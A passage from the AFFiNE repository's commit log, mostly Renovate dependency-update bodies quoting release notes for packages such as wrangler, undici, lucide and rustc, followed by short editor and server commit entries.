##### 👷‍♂️ Patch fixes

-   Fixes problem with encoding and decoding attribute values in HTML - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1678](https://redirect.github.com/capricorn86/happy-dom/issues/1678)
-   Fixes issue where it was not possible to query selector by class when the attribute value had line breaks in it - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1678](https://redirect.github.com/capricorn86/happy-dom/issues/1678)

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.1.3`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#913-2025-01-09)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.1.2...v9.1.3)

##### Bug Fixes

-   nodejs 18.19 or later is required ([69ec7e2](69ec7e232a))

### [`v9.1.2`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#912-2025-01-08)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.1.1...v9.1.2)

##### Bug Fixes

-   fix `ERR_UNSUPPORTED_ESM_URL_SCHEME` on windows ([6b193f3](6b193f3bd8))

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.471.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.471.0): Dynamic Icon component Lucide React and new icons 0.471.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.470.0...0.471.0)

#### New Dynamic Icon Component (lucide-react)

This is an easier approach than the previous `dynamicIconImports` we exported in the library. This one supports all environments.
We removed the examples in the docs of how you can make a dynamic icon yourself with a dedicated DynamicIcon component.
This one fetches the icon data itself and renders it instead of fetching the Icon component from the library.
This makes it more flexible with all the frontend frameworks and libraries that exist for React.

> 🚨
> Not recommended for regular applications that work fine with the regular static icon components.
> Using the dynamic icon component increases build time, separate bundles, and separate network requests for each icon.

##### How to use

`DynamicIcon` is useful for applications that want to show icons dynamically by icon name, for example when using a content management system where icon names are stored in a database.

```jsx
const App = () => (
  <DynamicIcon name="camera" color="red" size={48} />
);
```

##### Possible Breaking changes

We have switched to the ["exports"](https://nodejs.org/api/packages.html#exports-sugar) property in `package.json`. This can cause issues if you have directly imported scripts from the package. Please open an issue if we need to refine this export map.

#### New icons 🎨

-   `triangle-dashed` ([#&#8203;2652](https://redirect.github.com/lucide-icons/lucide/issues/2652)) by [@&#8203;Yohh](https://redirect.github.com/Yohh)

### [`v0.470.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.470.0): New icons 0.470.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.469.0...0.470.0)

#### New icons 🎨

-   `house-wifi` ([#&#8203;2723](https://redirect.github.com/lucide-icons/lucide/issues/2723)) by [@&#8203;akshaymemane](https://redirect.github.com/akshaymemane)

#### Modified Icons 🔨

-   `rat` ([#&#8203;2692](https://redirect.github.com/lucide-icons/lucide/issues/2692)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.78.1`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4781-2025-01-10)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.78.0...v4.78.1)

Full Changelog: [v4.78.0...v4.78.1](https://redirect.github.com/openai/openai-node/compare/v4.78.0...v4.78.1)

##### Bug Fixes

-   send correct Accept header for certain endpoints ([#&#8203;1257](https://redirect.github.com/openai/openai-node/issues/1257)) ([8756693](8756693c56))

### [`v4.78.0`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4780-2025-01-09)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.77.4...v4.78.0)

Full Changelog: [v4.77.4...v4.78.0](https://redirect.github.com/openai/openai-node/compare/v4.77.4...v4.78.0)

##### Features

-   **client:** add realtime types ([#&#8203;1254](https://redirect.github.com/openai/openai-node/issues/1254)) ([7130995](71309957a9))

</details>

<details>
<summary>dtolnay/thiserror (thiserror)</summary>

### [`v2.0.11`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.11)

[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.10...2.0.11)

-   Add feature gate to tests that use std ([#&#8203;409](https://redirect.github.com/dtolnay/thiserror/issues/409), [#&#8203;410](https://redirect.github.com/dtolnay/thiserror/issues/410), thanks [@&#8203;Maytha8](https://redirect.github.com/Maytha8))

</details>

<details>
<summary>nodejs/undici (undici)</summary>

### [`v7.2.1`](https://redirect.github.com/nodejs/undici/releases/tag/v7.2.1)

[Compare Source](https://redirect.github.com/nodejs/undici/compare/v7.2.0...v7.2.1)

#### What's Changed

-   fix(3951): typo on errorede dns lookup by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3956](https://redirect.github.com/nodejs/undici/pull/3956)
-   feat: add missing error type by [@&#8203;Gigioliva](https://redirect.github.com/Gigioliva) in [https://github.com/nodejs/undici/pull/3964](https://redirect.github.com/nodejs/undici/pull/3964)
-   websocket: improve frame parsing by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3447](https://redirect.github.com/nodejs/undici/pull/3447)
-   fix([#&#8203;3966](https://redirect.github.com/nodejs/undici/issues/3966)): account for network errors by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3967](https://redirect.github.com/nodejs/undici/pull/3967)
-   build(deps-dev): bump [@&#8203;fastify/busboy](https://redirect.github.com/fastify/busboy) from 3.1.0 to 3.1.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3971](https://redirect.github.com/nodejs/undici/pull/3971)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3954](https://redirect.github.com/nodejs/undici/pull/3954)
-   docs: fix dispatcher stream example links by [@&#8203;luddd3](https://redirect.github.com/luddd3) in [https://github.com/nodejs/undici/pull/3972](https://redirect.github.com/nodejs/undici/pull/3972)
-   fix: `undici:request:headers` does not indicate completion of a response by [@&#8203;legendecas](https://redirect.github.com/legendecas) in [https://github.com/nodejs/undici/pull/3974](https://redirect.github.com/nodejs/undici/pull/3974)
-   build(deps): bump cronometro from 3.0.2 to 4.0.1 in /benchmarks by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3976](https://redirect.github.com/nodejs/undici/pull/3976)
-   fix([#&#8203;3975](https://redirect.github.com/nodejs/undici/issues/3975)): do not unref timeout by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3977](https://redirect.github.com/nodejs/undici/pull/3977)
-   fix: bad response on h2 server by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3978](https://redirect.github.com/nodejs/undici/pull/3978)
-   build(deps): bump peter-evans/create-pull-request from 7.0.5 to 7.0.6 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3981](https://redirect.github.com/nodejs/undici/pull/3981)
-   build(deps): bump actions/upload-artifact from 4.4.3 to 4.5.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3983](https://redirect.github.com/nodejs/undici/pull/3983)
-   chore: ensure automated v7 release compared to v7 by [@&#8203;trivikr](https://redirect.github.com/trivikr) in [https://github.com/nodejs/undici/pull/3986](https://redirect.github.com/nodejs/undici/pull/3986)
-   test: ignore test for CITGM by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3993](https://redirect.github.com/nodejs/undici/pull/3993)
-   fix: retry flaky test by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3992](https://redirect.github.com/nodejs/undici/pull/3992)

#### New Contributors

-   [@&#8203;legendecas](https://redirect.github.com/legendecas) made their first contribution in [https://github.com/nodejs/undici/pull/3974](https://redirect.github.com/nodejs/undici/pull/3974)

**Full Changelog**: https://github.com/nodejs/undici/compare/v7.2.0...v7.2.1

</details>

<details>
<summary>uuidjs/uuid (uuid)</summary>

### [`v11.0.5`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1105-2025-01-09)

[Compare Source](https://redirect.github.com/uuidjs/uuid/compare/v11.0.4...v11.0.5)

##### Bug Fixes

-   add TS unit test, pin to typescript@5.0.4 ([#&#8203;860](https://redirect.github.com/uuidjs/uuid/issues/860)) ([24ac2fd](24ac2fd067))

</details>

<details>
<summary>cloudflare/workers-sdk (wrangler)</summary>

### [`v3.101.0`](https://redirect.github.com/cloudflare/workers-sdk/blob/HEAD/packages/wrangler/CHANGELOG.md#31010)

[Compare Source](https://redirect.github.com/cloudflare/workers-sdk/compare/wrangler@3.100.0...wrangler@3.101.0)

##### Minor Changes

-   [#&#8203;7534](https://redirect.github.com/cloudflare/workers-sdk/pull/7534) [`7c8ae1c`](7c8ae1c7bc) Thanks [@&#8203;cmackenzie1](https://redirect.github.com/cmackenzie1)! - feat: Use OAuth flow to generate R2 tokens for Pipelines

-   [#&#8203;7674](https://redirect.github.com/cloudflare/workers-sdk/pull/7674) [`45d1d1e`](45d1d1edd6) Thanks [@&#8203;Ankcorn](https://redirect.github.com/Ankcorn)! - Add support for env files to wrangler secret bulk i.e. `.dev.vars`

    Run `wrangler secret bulk .dev.vars` to add the env file

    ```env
    //.dev.vars
    KEY=VALUE
    KEY_2=VALUE
    ```

    This will upload the secrets KEY and KEY\_2 to your worker

-   [#&#8203;7442](https://redirect.github.com/cloudflare/workers-sdk/pull/7442) [`e4716cc`](e4716cc878) Thanks [@&#8203;petebacondarwin](https://redirect.github.com/petebacondarwin)! - feat: add support for redirecting Wrangler to a generated config when running deploy-related commands

    This new feature is designed for build tools and frameworks to provide a deploy-specific configuration,
    which Wrangler can use instead of user configuration when running deploy-related commands.
    It is not expected that developers of Workers will need to use this feature directly.

##### Affected commands

The commands that use this feature are:

-   `wrangler deploy`
-   `wrangler dev`
-   `wrangler versions upload`
-   `wrangler versions deploy`
-   `wrangler pages deploy`
-   `wrangler pages build`
-   `wrangler pages build-env`

##### Config redirect file

When running these commands, Wrangler will look up the directory tree from the current working directory for a file at the path `.wrangler/deploy/config.json`. This file must contain only a single JSON object of the form:

```json
{ "configPath": "../../path/to/wrangler.json" }
```

When this file exists Wrangler will follow the `configPath` (relative to the `.wrangler/deploy/config.json` file) to find an alternative Wrangler configuration file to load and use as part of this command.

When this happens Wrangler will display a warning to the user to indicate that the configuration has been redirected to a different file than the user's configuration file.

##### Custom build tool example

A common approach that a build tool might choose to implement.

-   The user writes code that uses Cloudflare Workers resources, configured via a user `wrangler.toml` file.

    ```toml
    name = "my-worker"
    main = "src/index.ts"
    [[kv_namespaces]]
    binding = "<BINDING_NAME1>"
    id = "<NAMESPACE_ID1>"
    ```

    Note that this configuration points `main` at user code entry-point.

-   The user runs a custom build, which might read the `wrangler.toml` to find the entry-point:

    ```bash
    > my-tool build
    ```

-   This tool generates a `dist` directory that contains both compiled code and a new deployment configuration file, but also a `.wrangler/deploy/config.json` file that redirects Wrangler to this new deployment configuration file:

    ```plain
    - dist
      - index.js
    	- wrangler.json
    - .wrangler
      - deploy
    	  - config.json
    ```

    The `dist/wrangler.json` will contain:

    ```json
    {
      "name": "my-worker",
      "main": "./index.js",
      "kv_namespaces": [
        { "binding": "<BINDING_NAME1>", "id": "<NAMESPACE_ID1>" }
      ]
    }
    ```

    And the `.wrangler/deploy/config.json` will contain:

    ```json
    {
      "configPath": "../../dist/wrangler.json"
    }
    ```

-   [#&#8203;7685](https://redirect.github.com/cloudflare/workers-sdk/pull/7685) [`9d2740a`](9d2740aa58) Thanks [@&#8203;vicb](https://redirect.github.com/vicb)! - allow overriding the unenv preset.

    By default wrangler uses the bundled unenv preset.

    Setting `WRANGLER_UNENV_RESOLVE_PATHS` allow to use another version of the preset.
    Those paths are used when resolving the unenv module identifiers to absolute paths.
    This can be used to test a development version.

-   [#&#8203;7694](https://redirect.github.com/cloudflare/workers-sdk/pull/7694) [`f3c2f69`](f3c2f69b30) Thanks [@&#8203;joshthoward](https://redirect.github.com/joshthoward)! - Default wrangler d1 export to --local rather than failing

##### Patch Changes

-   [#&#8203;7456](https://redirect.github.com/cloudflare/workers-sdk/pull/7456) [`ff4e77e`](ff4e77e5ad) Thanks [@&#8203;andyjessop](https://redirect.github.com/andyjessop)! - chore: removes --experimental-versions flag, as versions is now GA.

-   [#&#8203;7712](https://redirect.github.com/cloudflare/workers-sdk/pull/7712) [`6439347`](6439347a92) Thanks [@&#8203;penalosa](https://redirect.github.com/penalosa)! - Remove CF-Connecting-IP for requests to the edge preview

-   [#&#8203;7703](https://redirect.github.com/cloudflare/workers-sdk/pull/7703) [`e771fe9`](e771fe9909) Thanks [@&#8203;petebacondarwin](https://redirect.github.com/petebacondarwin)! - include the top level Worker name in the parsed config structure

-   [#&#8203;7576](https://redirect.github.com/cloudflare/workers-sdk/pull/7576) [`773bda8`](773bda8b38) Thanks [@&#8203;cmackenzie1](https://redirect.github.com/cmackenzie1)! - Remove defaults for `batch-max-*` pipeline parameters and define value ranges

-   Updated dependencies \[[`2c76887`](2c76887373), [`78bdec5`](78bdec59ce)]:
    -   miniflare@3.20241230.1

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-11 02:56:37 +00:00
zzj3720
c016f8e37e feat(editor): support linked-doc in rich-text column (#9634)
close: BS-2345
2025-01-10 14:43:40 +00:00
zzj3720
cc08094b17 feat(editor): improve group title display for checkbox columns (#9622)
close: BS-1977
2025-01-10 14:01:12 +00:00
pengx17
7d2ee8d742 feat(electron): close inactive views when switching workspace (#9601)
fix AF-1355
2025-01-10 09:52:42 +00:00
fengmk2
93c585a0e2 test(server): should await throwsAsync assert (#9631) 2025-01-10 09:08:10 +00:00
fundon
0b3dba614d perf(editor): optimize the search for the closest element (#9587)
Closes: [BS-2275](https://linear.app/affine-design/issue/BS-2275/拖拽-indicator-查找优化)
2025-01-10 08:21:10 +00:00
EYHN
18ff7500c8 fix(core): fix menu not close when click outside (#9535) 2025-01-10 08:04:49 +00:00
fundon
9882af5d01 fix(core): dependency cycle (#9628) 2025-01-10 07:37:13 +00:00
akumatus
2f49c064eb feat(editor): remove chat-cards and Open AI Chat menu item (#9626)
Support issue [BS-2353](https://linear.app/affine-design/issue/BS-2353).

### What changed?
- Remove `Open AI Chat` menu item.
- Remove `chat-cards` web component.
- Add `extractAll` function for page and edgeless doc full content extract.
2025-01-10 03:53:11 +00:00
renovate
dcd691cd31 chore: bump up rustc version to v1.84.0 (#9623)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust) | minor | `1.83.0` -> `1.84.0` |

---

### Release Notes

<details>
<summary>rust-lang/rust (rustc)</summary>

### [`v1.84.0`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1840-2025-01-09)

[Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.83.0...1.84.0)

\==========================

<a id="
Language"></a>

## Language

-   [Allow `#[deny]` inside `#[forbid]` as a no-op](https://redirect.github.com/rust-lang/rust/pull/121560/)
-   [Show a warning when `-Ctarget-feature` is used to toggle features that can lead to unsoundness due to ABI mismatches](https://redirect.github.com/rust-lang/rust/pull/129884)
-   [Use the next-generation trait solver in coherence](https://redirect.github.com/rust-lang/rust/pull/130654)
-   [Allow coercions to drop the principal of trait objects](https://redirect.github.com/rust-lang/rust/pull/131857)
-   [Support `/` as the path separator for `include!()` in all cases on Windows](https://redirect.github.com/rust-lang/rust/pull/125205)
-   [Taking a raw ref (`raw (const|mut)`) of a deref of a pointer (`*ptr`) is now safe](https://redirect.github.com/rust-lang/rust/pull/129248)
-   [Stabilize s390x inline assembly](https://redirect.github.com/rust-lang/rust/pull/131258)
-   [Stabilize Arm64EC inline assembly](https://redirect.github.com/rust-lang/rust/pull/131781)
-   [Lint against creating pointers to immediately dropped temporaries](https://redirect.github.com/rust-lang/rust/pull/128985)
-   [Execute drop glue when unwinding in an `extern "C"` function](https://redirect.github.com/rust-lang/rust/pull/129582)

<a id="1.84.0-Compiler"></a>

## Compiler

-   [Add `--print host-tuple` flag to print the host target tuple and affirm the "target tuple" terminology over "target triple"](https://redirect.github.com/rust-lang/rust/pull/125579)
-   [Declaring functions with a calling convention not supported on the current target now triggers a hard error](https://redirect.github.com/rust-lang/rust/pull/129935)
-   [Set up indirect access to external data for `loongarch64-unknown-linux-{musl,ohos}`](https://redirect.github.com/rust-lang/rust/pull/131583)
-   [Enable XRay instrumentation for LoongArch Linux targets](https://redirect.github.com/rust-lang/rust/pull/131818)
-   [Extend the `unexpected_cfgs` lint to also warn in external macros](https://redirect.github.com/rust-lang/rust/pull/132577)
-   [Stabilize WebAssembly `multivalue`, `reference-types`, and `tail-call` target features](https://redirect.github.com/rust-lang/rust/pull/131080)
-   [Added Tier 2 support for the `wasm32v1-none` target](https://redirect.github.com/rust-lang/rust/pull/131487)

<a id="1.84.0-Libraries"></a>

## Libraries

-   [Implement `From<&mut {slice}>` for `Box/Rc/Arc<{slice}>`](https://redirect.github.com/rust-lang/rust/pull/129329)
-   [Move `<float>::copysign`, `<float>::abs`, `<float>::signum` to `core`](https://redirect.github.com/rust-lang/rust/pull/131304)
-   [Add `LowerExp` and `UpperExp` implementations to `NonZero`](https://redirect.github.com/rust-lang/rust/pull/131377)
-   [Implement `FromStr` for `CString` and `TryFrom<CString>` for `String`](https://redirect.github.com/rust-lang/rust/pull/130608)
-   [`std::os::darwin` has been made public](https://redirect.github.com/rust-lang/rust/pull/123723)

<a id="1.84.0-Stabilized-APIs"></a>

## Stabilized APIs

-   [`Ipv6Addr::is_unique_local`](https://doc.rust-lang.org/stable/core/net/struct.Ipv6Addr.html#method.is_unique_local)
-   [`Ipv6Addr::is_unicast_link_local`](https://doc.rust-lang.org/stable/core/net/struct.Ipv6Addr.html#method.is_unicast_link_local)
-   [`core::ptr::with_exposed_provenance`](https://doc.rust-lang.org/stable/core/ptr/fn.with_exposed_provenance.html)
-   [`core::ptr::with_exposed_provenance_mut`](https://doc.rust-lang.org/stable/core/ptr/fn.with_exposed_provenance_mut.html)
-   [`<ptr>::addr`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.addr)
-   [`<ptr>::expose_provenance`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.expose_provenance)
-   [`<ptr>::with_addr`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.with_addr)
-   [`<ptr>::map_addr`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.map_addr)
-   [`<int>::isqrt`](https://doc.rust-lang.org/stable/core/primitive.i32.html#method.isqrt)
-   [`<int>::checked_isqrt`](https://doc.rust-lang.org/stable/core/primitive.i32.html#method.checked_isqrt)
-   [`<uint>::isqrt`](https://doc.rust-lang.org/stable/core/primitive.u32.html#method.isqrt)
-   [`NonZero::isqrt`](https://doc.rust-lang.org/stable/core/num/struct.NonZero.html#impl-NonZero%3Cu128%3E/method.isqrt)
-   [`core::ptr::without_provenance`](https://doc.rust-lang.org/stable/core/ptr/fn.without_provenance.html)
-   [`core::ptr::without_provenance_mut`](https://doc.rust-lang.org/stable/core/ptr/fn.without_provenance_mut.html)
-   [`core::ptr::dangling`](https://doc.rust-lang.org/stable/core/ptr/fn.dangling.html)
-   [`core::ptr::dangling_mut`](https://doc.rust-lang.org/stable/core/ptr/fn.dangling_mut.html)

These APIs are now stable in const contexts

-   [`AtomicBool::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicBool.html#method.from_ptr)
-   [`AtomicPtr::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicPtr.html#method.from_ptr)
-   [`AtomicU8::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicU8.html#method.from_ptr)
-   [`AtomicU16::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicU16.html#method.from_ptr)
-   [`AtomicU32::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicU32.html#method.from_ptr)
-   [`AtomicU64::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicU64.html#method.from_ptr)
-   [`AtomicUsize::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicUsize.html#method.from_ptr)
-   [`AtomicI8::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicI8.html#method.from_ptr)
-   [`AtomicI16::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicI16.html#method.from_ptr)
-   [`AtomicI32::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicI32.html#method.from_ptr)
-   [`AtomicI64::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicI64.html#method.from_ptr)
-   [`AtomicIsize::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicIsize.html#method.from_ptr)
-   [`<ptr>::is_null`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.is_null-1)
-   [`<ptr>::as_ref`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.as_ref-1)
-   [`<ptr>::as_mut`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.as_mut)
-   [`Pin::new`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.new)
-   [`Pin::new_unchecked`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.new_unchecked)
-   [`Pin::get_ref`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.get_ref)
-   [`Pin::into_ref`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.into_ref)
-   [`Pin::get_mut`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.get_mut)
-   [`Pin::get_unchecked_mut`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.get_unchecked_mut)
-   [`Pin::static_ref`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.static_ref)
-   [`Pin::static_mut`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.static_mut)

<a id="1.84.0-Cargo"></a>

## Cargo

-   [Stabilize MSRV-aware resolver config](https://redirect.github.com/rust-lang/cargo/pull/14639/)
-   [Stabilize resolver v3](https://redirect.github.com/rust-lang/cargo/pull/14754/)

<a id="1.84-Rustdoc"></a>

## Rustdoc

-   [rustdoc-search: improve type-driven search](https://redirect.github.com/rust-lang/rust/pull/127589)

<a id="1.84.0-Compatibility-Notes"></a>

## Compatibility Notes

-   [Enable by default the `LSX` target feature for LoongArch Linux targets](https://redirect.github.com/rust-lang/rust/pull/132140)
-   [The unstable `-Zprofile` flag (“gcov-style” coverage instrumentation) has been removed.](https://redirect.github.com/rust-lang/rust/pull/131829) This does not affect the stable flags for coverage instrumentation (`-Cinstrument-coverage`) and profile-guided optimization (`-Cprofile-generate`, `-Cprofile-use`), which are unrelated and remain available.
-   Support for the target named `wasm32-wasi` has been removed as the target is now named `wasm32-wasip1`. This completes the [transition](https://redirect.github.com/rust-lang/compiler-team/issues/607) [plan](https://redirect.github.com/rust-lang/compiler-team/issues/695) for this target following [the introduction of `wasm32-wasip1`](https://redirect.github.com/rust-lang/rust/pull/120468) in Rust 1.78. Compiler warnings on [use of `wasm32-wasi`](https://redirect.github.com/rust-lang/rust/pull/126662) introduced in Rust 1.81 are now gone as well as the target is removed.
-   [The syntax `&pin (mut|const) T` is now parsed as a type which in theory could affect macro expansion results in some edge cases](https://redirect.github.com/rust-lang/rust/pull/130635#issuecomment-2375462821)
-   [Legacy syntax for calling `std::arch` functions is no longer permitted to declare items or bodies (such as closures, inline consts, or async blocks).](https://redirect.github.com/rust-lang/rust/pull/130443#issuecomment-2445678945)
-   The `wasm32-unknown-emscripten` target's binary release of the standard library is now [built with the latest emsdk 3.1.68](https://redirect.github.com/rust-lang/rust/pull/131533), which fixes an ABI-incompatibility with Emscripten >= 3.1.42. If you are locally using a version of emsdk with an incompatible ABI (e.g. before 3.1.42 or a future one), you should build your code with `-Zbuild-std` to ensure that `std` uses the correct ABI.
-   [Declaring functions with a calling convention not supported on the current target now triggers a hard error](https://redirect.github.com/rust-lang/rust/pull/129935)
-   [The next-generation trait solver is now enabled for coherence, fixing multiple soundness issues](https://redirect.github.com/rust-lang/rust/pull/130654)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-10 03:31:42 +00:00
forehalo
1b6f0e78c4 chore(server): move server tests folder (#9614) 2025-01-10 02:38:10 +00:00
zzj3720
8e8058a44c feat(editor): support pasting Excel data into database block (#9618)
close: BS-2338
2025-01-09 14:35:19 +00:00
Saul-Mirone
6feb4def2f fix(editor): exisiting slice import should be move instead of add (#9616)
Closes: [BS-2339](https://linear.app/affine-design/issue/BS-2339/%E6%8B%96%E6%8B%BD%E9%87%8A%E6%94%BE%E5%90%8E%E7%9A%84%E4%BD%8D%E7%BD%AE%E4%B8%8D%E5%AF%B9)
2025-01-09 12:14:54 +00:00
Saul-Mirone
126ab18967 feat(editor): selection as store extension (#9605) 2025-01-09 11:49:23 +00:00
akumatus
c2d8c23f13 fix(core): update chat session after session created or reused (#9613)
For an existing AI chat session, the prompt will not be updated when the front-end calls the `createChatSession` gql interface. Thus update it manually here.

In the future, the architecture needs to be adjusted to support multiple LLM model calls in one chat session.
2025-01-09 10:56:24 +00:00
pengx17
c0ed78dc66 fix(core): split view should only be dragged by the handle (#9610)
fix BS-2354
also fix AF-2096
2025-01-09 10:40:25 +00:00
darkskygit
755cebfb18 chore(server): not allow to update action's prompt (#9615) 2025-01-09 10:18:53 +00:00
Brooooooklyn
fed0156f22 style: add @typescript-eslint/return-await rule (#9612) 2025-01-09 09:28:59 +00:00
forehalo
6d29f80894 feat(server): user model (#9608) 2025-01-09 09:14:02 +00:00
darkskygit
ca3537fca3 fix(server): missing perplexity secret (#9607) 2025-01-09 08:56:59 +00:00
zzj3720
b23e980250 fix(editor): prototype-polluting assignment (#9606) 2025-01-09 08:20:26 +00:00
pengx17
f78857bb11 feat(editor): add more open doc options to editor toolbar (#9588)
fix AF-2036, AF-2092
2025-01-09 08:04:21 +00:00
doodlewind
890a962196 chore(editor): fix playground vscode tsc warning (#9603) 2025-01-09 07:49:16 +00:00
zzj3720
f46a7a073a fix(editor): component name for the mobile menu is incorrect (#9604) 2025-01-09 07:32:49 +00:00
Yifeng Wang
cac0b7fd66 refactor(editor): remove default entry (#9600) 2025-01-09 14:01:48 +08:00
Saul-Mirone
422bac6cbe refactor(editor): remove readonly in awareness (#9597) 2025-01-09 05:15:35 +00:00
Saul-Mirone
d21ef47ae8 chore(editor): rename std.doc to std.store (#9596) 2025-01-09 04:16:28 +00:00
akumatus
58ce86533e feat(core): support ai network search (#9357)
### What Changed?
- Add `PerplexityProvider` in backend.
- Update session prompt name if user toggle network search mode in chat panel.
- Add experimental flag for AI network search feature.
- Add unit tests and e2e tests.

Search results are streamed and appear word for word:

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/56f6ec7b-4b21-405f-9612-43e083f6fb84.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/56f6ec7b-4b21-405f-9612-43e083f6fb84.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/56f6ec7b-4b21-405f-9612-43e083f6fb84.mov">录屏2024-12-27 18.58.40.mov</video>

Click the little globe icon to manually turn on/off Internet search:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/778f1406-bf29-498e-a90d-7dad813392d1.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/778f1406-bf29-498e-a90d-7dad813392d1.mov">
            </a>
          </div>
